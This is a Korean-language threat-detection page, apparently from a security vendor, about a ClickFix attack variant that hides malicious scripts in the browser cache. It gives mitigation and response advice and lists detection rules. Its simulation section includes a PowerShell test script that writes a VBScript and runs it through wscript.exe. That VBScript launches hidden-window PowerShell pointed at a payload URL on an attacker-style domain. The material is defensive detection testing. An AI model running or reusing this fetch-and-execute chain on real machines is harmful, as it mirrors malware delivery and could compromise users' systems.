클릭픽스 공격: 브라우저 캐시를 통해 페이로드 전송
Detection stack
- AIDR
- Alert
- ETL
- Query
개요
새로운 ClickFix 공격 변종은 감염된 웹사이트를 사용하여 웹 브라우저의 캐시에 악성 스크립트를 합법적인 파일인 PNG로 가장하여 미리 저장합니다. 피해자는 Windows 실행 대화를 통해 명령을 실행하도록 사회공학적으로 유도되며, 이는 캐시된 페이로드 실행을 트리거하여 문자 제한 및 보안 통제를 우회하게 됩니다. 이 기술은 결국 메모리를 법적 프로세스에 인젝션하여 자격 증명을 도난당하게 합니다.
조사
Microsoft 위협 인텔리전스와 다른 연구원들은 VBScript, PowerShell, .NET 어셈블리를 포함하는 다중 단계 감염 체인을 확인했습니다. 공격 체인은 브라우저 캐시 스머글링을 사용하여 페이로드를 숨기며 WMI를 사용하여 호스트 정보를 수집합니다. 조사는 cmd.exe, wscript.exe, timeout.exe와 같은 합법적인 시스템 도구를 이용한 공격의 사용을 강조하였습니다.
완화 수단
조직은 클라우드 제공 웹 및 네트워크 보호와 애플리케이션 제어 및 PowerShell 스크립트 차단 로깅을 구현해야 합니다. 사용자는 웹사이트 오류나 CAPTCHA에 의해 명령을 Windows Run, 터미널 또는 PowerShell에 붙여넣지 않도록 교육받아야 합니다. 의심스러운 브라우저 활동과 WScript/PowerShell 자식 프로세스를 모니터링하는 것도 권장됩니다.
대응
탐지 후, RunMRU 레지스트리 키에서 의심스러운 활동을 찾아보고 비정상적인 예약 작업을 모니터링하세요. WScript 또는 PowerShell에서 생성된 자식 프로세스를 조사하고 메모리에 로드된 무단 .NET 어셈블리를 점검하세요. 영향을 받은 시스템을 격리하고 알려진 악성 도메인으로의 아웃바운드 연결을 위해 네트워크 로그를 검토하세요.
공격 흐름
이 부분은 여전히 업데이트 중입니다.
탐지
단축 스크립트 이름을 사용한 실행 가능성 (cmdline을 통해)
비정상적인 폴더에서 수행된 직접 또는 스크립팅 작업 가능성 (cmdline을 통해)
LOLBAS WScript / CScript (프로세스 생성을 통해)
브라우저 캐시 스머글링을 통한 PowerShell 및 VBScript 실행 탐지 [Windows Powershell]
시뮬레이션 실행
-
공격 서사 및 명령: 공격자는 사용자가 브라우저 오류를 “수정”하도록 유도되는 사회 공학 전술을 활용합니다. 이 과정은 악성 VBScript를 임시 디렉터리(브라우저 캐시를 시뮬레이션)에 밀수하고, 공격자는 이를 사용하여
wscript.exe를 실행합니다. 이 VBScript는 사용자가 탐지하기 어렵게-WindowStyle Hidden플래그를 사용하여 PowerShell을 호출하고 도메인capsysnet.vg에 연결하여 2차 페이로드를 가져오려 시도합니다. 이 순서는 규칙 내 특정 문자열 기반 탐지 로직을 트리거하기 위해 설계되었습니다. -
회귀 테스트 스크립트:
# 시뮬레이션 스크립트: ClickFix 페이로드 스머글링 모방 $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" # 악성 동작을 시뮬레이션 하는 VBScript를 생성합니다 # 규칙이 찾는 특정 문자열을 PowerShell에 호출하려 하고 # 의심스러운 도메인을 참조합니다. $vbsContent = @" Set objShell = CreateObject("WScript.Shell") ' 숨겨진 창 스타일로 v.ps1이라는 스크립트를 호출하는 것을 시뮬레이션 ' 그리고 의심스러운 도메인에 연결합니다. objShell.Run "powershell.exe -File v.ps1 -WindowStyle Hidden -Url http://capsysnet.vg/payload.exe", 0, True "@ Set-Content -Path $vbsPath -Value $vbsContent Write-Host "[+] 악성 VBScript가 생성되었습니다: $vbsPath" Write-Host "[+] 탐지를 트리거하기 위해 wscript.exe를 통해 VBScript를 실행 중..." # VBScript 실행 Start-Process "wscript.exe" -ArgumentList "`"$vbsPath`"" Write-Host "[+] 시뮬레이션 명령이 전송되었습니다. 경고를 위해 SIEM 확인." -
정리 명령:
# 정리: 시뮬레이션된 악성 파일을 제거합니다 $tempDir = $env:TEMP $vbsPath = Join-Path $tempDir "malicious_smuggled.vbs" if (Test-Path $vbsPath) { Remove-Item -Path $vbsPath -Force Write-Host "[+] 정리 완료: $vbsPath 제거됨." } else { Write-Host "[!] 정리에 실패함: 파일을 찾을 수 없음." }